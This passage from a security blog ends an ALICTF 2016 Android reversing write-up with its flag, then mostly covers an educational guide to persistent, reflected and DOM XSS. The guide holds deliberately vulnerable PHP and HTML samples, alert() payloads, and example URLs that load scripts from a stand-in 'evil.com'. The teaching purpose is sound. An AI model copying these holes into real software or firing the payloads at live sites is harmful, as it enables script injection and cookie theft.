<span class="n">v8</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
<span class="n">v7</span> <span class="o">=</span> <span class="n">a3</span><span class="p">;</span>
<span class="n">v5</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">**</span><span class="p">)(</span><span class="kt">void</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">24</span><span class="p">))();</span>
<span class="n">v10</span> <span class="o">=</span> <span class="n">_JNIEnv</span><span class="o">::</span><span class="n">GetMethodID</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="s">"check1"</span><span class="p">,</span> <span class="s">"(II)I"</span><span class="p">);</span>
<span class="n">v11</span> <span class="o">=</span> <span class="n">_JNIEnv</span><span class="o">::</span><span class="n">GetMethodID</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="s">"check2"</span><span class="p">,</span> <span class="s">"(II)I"</span><span class="p">);</span>
<span class="n">v12</span> <span class="o">=</span> <span class="n">_JNIEnv</span><span class="o">::</span><span class="n">GetMethodID</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="s">"check3"</span><span class="p">,</span> <span class="s">"(II)I"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="o">-</span> <span class="mi">1</span> <span class="o"><=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">_JNIEnv</span><span class="o">::</span><span class="n">CallIntMethod</span><span class="p">(</span><span class="n">v4</span><span class="p">,</span> <span class="n">v9</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="o">&</span><span class="n">v10</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v8</span> <span class="o">%</span> <span class="mi">3</span><span class="p">));</span>
<span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Rewriting the entire logic in Python and we have our solution!</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
</pre></td><td class="code"><pre><span class="n">target</span> <span class="o">=</span> <span class="mi">1835996258</span>
<span class="k">def</span> <span class="nf">check</span><span class="p">(</span><span class="n">one</span><span class="p">,</span> <span class="n">two</span><span class="p">):</span>
<span class="k">if</span> <span class="n">two</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">one</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">two</span><span class="p">)</span> <span class="o">%</span> <span class="mi">3</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">return</span> <span class="n">check1</span><span class="p">(</span><span class="n">one</span><span class="p">,</span><span class="n">two</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">elif</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">two</span><span class="p">)</span> <span class="o">%</span><span class="mi">3</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">return</span> <span class="n">check2</span><span class="p">(</span><span class="n">one</span><span class="p">,</span><span class="n">two</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">check3</span><span class="p">(</span><span class="n">one</span><span class="p">,</span><span class="n">two</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">check1</span><span class="p">(</span><span class="n">paramInt1</span><span class="p">,</span><span class="n">paramInt2</span><span class="p">):</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span>
<span class="k">while</span> <span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">100</span><span class="p">:</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">check</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">paramInt2</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">check2</span><span class="p">(</span><span class="n">paramInt1</span><span class="p">,</span><span class="n">paramInt2</span><span class="p">):</span>
<span class="k">if</span> <span class="n">paramInt2</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span>
<span class="k">while</span> <span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">1000</span><span class="p">:</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">check</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">paramInt2</span><span class="p">);</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span>
<span class="k">while</span> <span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">1000</span><span class="p">:</span>
<span class="n">i</span> <span class="o">-=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">check</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">paramInt2</span><span class="p">);</span>
<span class="k">def</span> <span class="nf">check3</span><span class="p">(</span><span class="n">paramInt1</span><span class="p">,</span><span class="n">paramInt2</span><span class="p">):</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">):</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="p">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">return</span> <span class="n">check</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">paramInt2</span><span class="p">);</span>
<span class="k">print</span> <span class="n">check</span><span class="p">(</span><span class="mi">236492408</span><span class="p">,</span><span class="mi">99</span><span class="p">)</span> <span class="o">==</span> <span class="n">target</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><img src="/resources/images/alictf/loopflag.png" alt="" /></p>
<p>Entering <code class="language-plaintext highlighter-rouge">236492408</code> into the application gives us our flag! <strong><em>alictf{Jan6N100p3r}</em></strong>.</p>
<p><a href="https://quanyang.github.io/alictf-2016-loopandloop-reversing-100/">ALICTF 2016 - LoopAndLoop (Reversing 100)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on June 06, 2016.</p>
https://quanyang.github.io/the-abcs-of-xss2016-05-10T11:32:46+00:002016-05-10T11:32:46+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>Cross-site scriping (XSS) is a common web vulnerabilty that has existed for a long time (since 2000) and is still very much prevalent in many websites today. According to a report, XSS alone contributes to about 20% of bugs found in bug bounty programs. Personally, of the many vulnerabilities I’ve found, XSS makes up the majority of them.
In this post, I’ll talk about the common types of XSSes and common mistakes done by developers that results in the introduction of XSS vulnerabilities.</p>
<p>XSS can be categorized into smaller categories. I’ll be talking about three categories of XSS, namely, <strong>persistent</strong> XSS, <strong>reflected</strong> XSS and <strong>DOM</strong> XSS.</p>
<h4 id="persistent-xss">Persistent XSS</h4>
<p>Persistent XSS is called persistent (or sometimes called stored XSS) because the exploit payload is stored persistently in some form of server-side storage.</p>
<p>An example of a PHP script that’d be vulnerable to persistent XSS is:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">if</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">])</span> <span class="p">{</span>
<span class="nf">store_in_database</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">]);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="nf">get_from_database</span><span class="p">();</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This is obviously vulnerable to XSS as neither the input nor the output is escaped/sanitized. The developer has the choice to either sanitize the input or the output or both. However, I’d recommend having the habit to sanitize both input and output.<br />
<strong>Important: It is important to perform sanitization on server-side, as client-side sanitization can be easily circumvented.</strong></p>
<p>Another example would be :</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">function</span> <span class="n">html2txt</span><span class="p">(</span><span class="nv">$document</span><span class="p">){</span>
<span class="nv">$search</span> <span class="o">=</span> <span class="s2">"/<[^<]*?>/"</span><span class="p">;</span>
<span class="nv">$text</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="nv">$search</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$document</span><span class="p">);</span>
<span class="k">return</span> <span class="nv">$text</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">])</span> <span class="p">{</span>
<span class="nv">$string</span> <span class="o">=</span> <span class="nf">html2txt</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">]);</span>
<span class="nf">store_in_database</span><span class="p">(</span><span class="nv">$string</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">echo</span> <span class="nf">get_from_database</span><span class="p">();</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This time, we’ve implemented a function to remove anything that looks like a HTML tag. However, latest browsers are clever enough to fix an incomplete HTML tag from <code class="language-plaintext highlighter-rouge"><img src=e</code> to <code class="language-plaintext highlighter-rouge"><img src=e></code>. Therefore, a payload like <code class="language-plaintext highlighter-rouge"><img src=e onerror=alert()</code> would pop an alert prompt, indicating a successful XSS exploitation.</p>
<p>Another possible scenario is when a developer implements a function to remove any HTML tags that are specified in a blacklist. A blacklist approach is bad as it is easy to accidentally miss out a particular element. Also, new HTML elements are added every now and then and it’d take effort to maintain the blacklist. <strong>A whitelist approach is a much better solution. However, whitelisting should only be used when it is really necessary to have a particular HTML element in the input.</strong></p>
<p><strong>Real-life example (ivle.nus.edu.sg)</strong>:<br />
So in IVLE, teaching staffs are allowed to put text into their about me section.
<img src="/resources/images/abcs/persistent1.png" alt="" width="350px" />
The first thing that comes to my mind was to try to input an image element.
<img src="/resources/images/abcs/persistent3.png" alt="" width="350px" />
Yes, it seems that image elements are allowed.
<img src="/resources/images/abcs/persistent4.png" alt="" width="350px" />
Now, let’s try to insert an eventhandler together with the image element, so that we can execute arbitrary JavaScript.
<img src="/resources/images/abcs/persistent5.png" alt="" width="350px" />
However, it seems that all on* text are stripped, regardless if its a legitimate eventhandler or not.
<img src="/resources/images/abcs/persistent6.png" alt="" width="350px" />
Now let’s try to insert a script element instead.
<img src="/resources/images/abcs/persistent7.png" alt="" width="350px" />
It seems that script tags are stripped too.
<img src="/resources/images/abcs/persistent8.png" alt="" width="200px" />
How about if we insert an invalid script tag. One that does not have the closing angled bracket.
<img src="/resources/images/abcs/persistent9.png" alt="" width="350px" />
Yes! It seems that the filtering mechanism fails to filter incomplete HTML tags.
<img src="/resources/images/abcs/persistent10.png" alt="" width="350px" /></p>
<h4 id="reflected-xss">Reflected XSS</h4>
<p>Reflected XSS on the other hand is called reflected as there is some kind of reflection of parameter values onto the response. For reflected XSS, the payload should not be stored persistently on the server. For reflected XSS, the attack payload is delivered and executed in a single request and response.</p>
<p>An example of a PHP script that’d be vulnerable to reflected XSS is:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">if</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">])</span> <span class="p">{</span>
<span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'msg'</span><span class="p">];</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Similarly to persistent XSS, this is vulnerable as neither the input or the output is being sanitized. The scenarios that are applicable to persistent XSS can be applied here too.</p>
<p>Of the many XSS vulnerabilities I found, there was a particular behaviour that was common across many websites. Imagine a URL like <code class="language-plaintext highlighter-rouge">http://example.org/login.php?next=/profile.php</code>, there are many ways to implement the redirection and one way is as follows:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">if</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'next'</span><span class="p">])</span> <span class="p">{</span>
<span class="k">echo</span> <span class="s2">"<script>window.location= '"</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'next'</span><span class="p">];</span><span class="mf">.</span><span class="s2">"'</script>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Here we see that there is a reflected XSS vulnerability caused by the reflection of the <code class="language-plaintext highlighter-rouge">next</code> parameter. The correct way to do a redirection is to make use of HTTP headers.</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="code"><pre><span class="cp"><?php</span>
<span class="k">if</span> <span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'next'</span><span class="p">])</span> <span class="p">{</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Location: '</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'next'</span><span class="p">]);</span>
<span class="p">}</span>
<span class="cp">?></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p><strong>Real-life example</strong>:<br />
Here we can see that the <code class="language-plaintext highlighter-rouge">ReturnUrl</code> parameter is reflected and used by <code class="language-plaintext highlighter-rouge">window.location.href</code>.
<img src="/resources/images/abcs/reflectedredirection.png" alt="" /></p>
<h4 id="dom-based-xss">DOM-based XSS</h4>
<p>DOM-based XSS is unlike persistent or reflected XSS. DOM-based XSS is different in the sense that the payload is not found in the source code and is executed as a result of modifying the Document Object Model (DOM) environment in the victim’s browser.</p>
<p>An example of a DOM-based XSS is:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span>
<span class="nt"></script></span>
<span class="nt"><p></span>Loads script based on the location.hash value.<span class="nt"></p></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>There are a few payloads where this particular XSS can be exploited using.</p>
<p>Assuming that the HTML code was hosted on <code class="language-plaintext highlighter-rouge">http://example.org/</code>, the first payload + URL that would allow arbitrary JavaScript execution is <code class="language-plaintext highlighter-rouge">http://example.org/#http://evil.com/evilscript.js</code>. In the payload, an arbitrary HTTP resource URL could be specified and loaded as a result of the JavaScript execution; an attacker could specify a URL where a malicious JavaScript is hosted and trick his victim into visiting the URL.</p>
<p>The second payload is similar to the first payload, but makes use of a different URI scheme. The data URI scheme can be used to include data in-line as if they were external resources. Using a payload + URL like <code class="language-plaintext highlighter-rouge">http://example.org/#data:text/html,alert(1)</code> would cause an alert prompt to be displayed as a result of the JavaScript execution.</p>
<p>Another example of DOM-based XSS is:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="nb">document</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="nt"></script></span>
<span class="nt"><p></span>Opens a new window with the specified value in location.hash.<span class="nt"></p></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>For this case, in normal scenario it’d be expected that a URL would be provided through the <code class="language-plaintext highlighter-rouge">location.hash</code> value and as a result, the webpage would redirect the user to the provided URL. However, an attacker could make use of the JavaScript URI scheme to result in arbitrary JavaScript code execution in the context of the vulnerable website, this allows the attacker to steal cookies belonging to the vulnerable website. An example of a URL + payload is <code class="language-plaintext highlighter-rouge">http://example.org/#javascript:alert(1)</code> where when visited would spawn an alert prompt as a result of the web browser attempting to redirect to <code class="language-plaintext highlighter-rouge">javascript:alert(1)</code>.</p>
<p>DOM-based XSS could also be found as a result of using external libraries like jQuery, an example of that is:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js"</span><span class="nt">></script></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">hash</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">$</span><span class="p">(</span><span class="nx">hash</span><span class="p">))</span> <span class="p">{</span>
<span class="c1">//Do something if the element could be found.</span>
<span class="p">}</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Most people don’t know, but the <code class="language-plaintext highlighter-rouge">$()</code> method can create HTML elements. When jQuery fails to find the element specified by the selector, it creates the element instead. Therefore if the accessed URL of the example above was <code class="language-plaintext highlighter-rouge">http://example.org/#<img src=e onerror=alert()></code>, it would result in the image element being created and as a result, causing an alert prompt to be spawned.</p>
<p>To be more specific, if there was user-controllable data flow into functions like <code class="language-plaintext highlighter-rouge">eval</code>,<code class="language-plaintext highlighter-rouge">document.write</code>,<code class="language-plaintext highlighter-rouge">window.open</code>,<code class="language-plaintext highlighter-rouge">document.location</code> and the data is not sanitized in anyway, then it’d likely be an XSS vulnerability.</p>
<p>In some cases, user-controllable data flow into JavaScript methods that are used for fetching resources/defining resource URLs for elements.</p>
<p>An example could be:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">scriptElement</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">scriptElement</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">url</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">scriptElement</span><span class="p">);</span>
<span class="nt"></script></span>
<span class="nt"><p></span>Creates a script and assign the location.hash value as the source.<span class="nt"></p></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The above example is straightforward, and there are few other edge cases where the user-controllable data does not form the entire resource URL, but partial.</p>
<h5 id="1-partial-domain">1. Partial domain:</h5>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="code"><pre><span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">scriptElement</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">scriptElement</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://example.org</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">url</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/test.js</span><span class="dl">'</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">scriptElement</span><span class="p">);</span>
<span class="nt"></script></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This could be exploited if the value <code class="language-plaintext highlighter-rouge">#@evil.com</code> is specified in the fragment/hash of the URL (i.e. <code class="language-plaintext highlighter-rouge">http://[email protected]/test.js</code> would be assigned to <code class="language-plaintext highlighter-rouge">script.src</code> instead). We see here that by using the <code class="language-plaintext highlighter-rouge">@</code> character which is often used to specify username/password for a website authorization, an attacker could cause the script element to fetch the resource from <strong>evil.com</strong> instead of <strong>example.org</strong>.</p>
<h5 id="2-partial-path">2. Partial path:</h5>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="code"><pre><span class="nt"><script></span>
<span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">scriptElement</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">scriptElement</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">url</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">scriptElement</span><span class="p">);</span>
<span class="nt"></script></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>What is expected by the developer is most likely for the URL to be <code class="language-plaintext highlighter-rouge">http://example.org/#test.js</code>. However, a URL like <code class="language-plaintext highlighter-rouge">http://example.org/#/evil.com/test.js</code> would result in the <code class="language-plaintext highlighter-rouge">script.src</code> to be assigned the value <code class="language-plaintext highlighter-rouge">//evil.com/test.js</code>. Again, instead of fetching the resource from <strong>example.org</strong>, the element is now fetching the resource from <strong>evil.com</strong> instead.</p>
<h5 id="3-partial-query">3. Partial query:</h5>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre><span class="nt"><script></span>
<span class="kd">function</span> <span class="nx">doSomething</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// do something with data.</span>
<span class="p">}</span>
<span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">scriptElement</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">scriptElement</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">http://example.org/jsonp/?referer=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">url</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&callback=doSomething</span><span class="dl">'</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">scriptElement</span><span class="p">);</span>
<span class="nt"></script></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>If you’re familiar with JSONP endpoints, you might know that the <code class="language-plaintext highlighter-rouge">callback=doSomething</code> parameter is used to specify the function that would be called. In this case, the example behaviour is for the script to call the doSomething function with the data provided by the JSONP endpoint. However, imagine a URL like <code class="language-plaintext highlighter-rouge">http://example.org/#evil.com&callback=alert</code> as a result, the value <code class="language-plaintext highlighter-rouge">http://example.org/#evil.com&callback=alert&callback=doSomething</code> fetched and dependingly, the service might take <code class="language-plaintext highlighter-rouge">callback=alert</code> as precedence over <code class="language-plaintext highlighter-rouge">callback=doSomething</code> resulting in an alert prompt being spawned.</p>
<h2 id="miscellaneous">Miscellaneous</h2>
<p>The following few categories are on miscellaneous defense mechanisms/topics which are related to XSS.</p>
<h3 id="angularjs-xss">AngularJS XSS</h3>
<blockquote>
<p>In Angular, templates are written with HTML that contains Angular-specific elements and attributes. Angular combines the template with information from the model and controller to render the dynamic view that a user sees in the browser.</p>
</blockquote>
<p>In Angular 1, some developers mixes server-side and client-side code, which results in template injection allowing XSSes as a result. An example of this is:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="nt"><div</span> <span class="na">ng-app</span><span class="nt">></span>
{ { '<span class="cp"><?php</span> <span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="err">‘</span><span class="n">username</span><span class="err">’</span><span class="p">];</span> <span class="cp">?></span>’ }}
<span class="nt"></div></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>As a result of this, Angular came up with sandboxes, which some might see as a big mistake. Even with sandbox, many researchers are able to find bypasses using reflection to execute arbitrary JavaScript.</p>
<p>I’d recommend you to view <a href="http://www.slideshare.net/x00mario/an-abusive-relationship-with-angularjs">this</a> presentation slide by Mario H. if you’re really interested.</p>
<h3 id="xss-auditor">XSS Auditor</h3>
<p><img src="/resources/images/abcs/xssauditor.png" alt="" /></p>
<p>XSS auditor is a security mechanism implemented by browsers in an attempt to mitigate XSS attack. What it does is to check if any parameter is reflected into the server response, and if it is, block/remove the value reflected depending on the HTTP response header.</p>
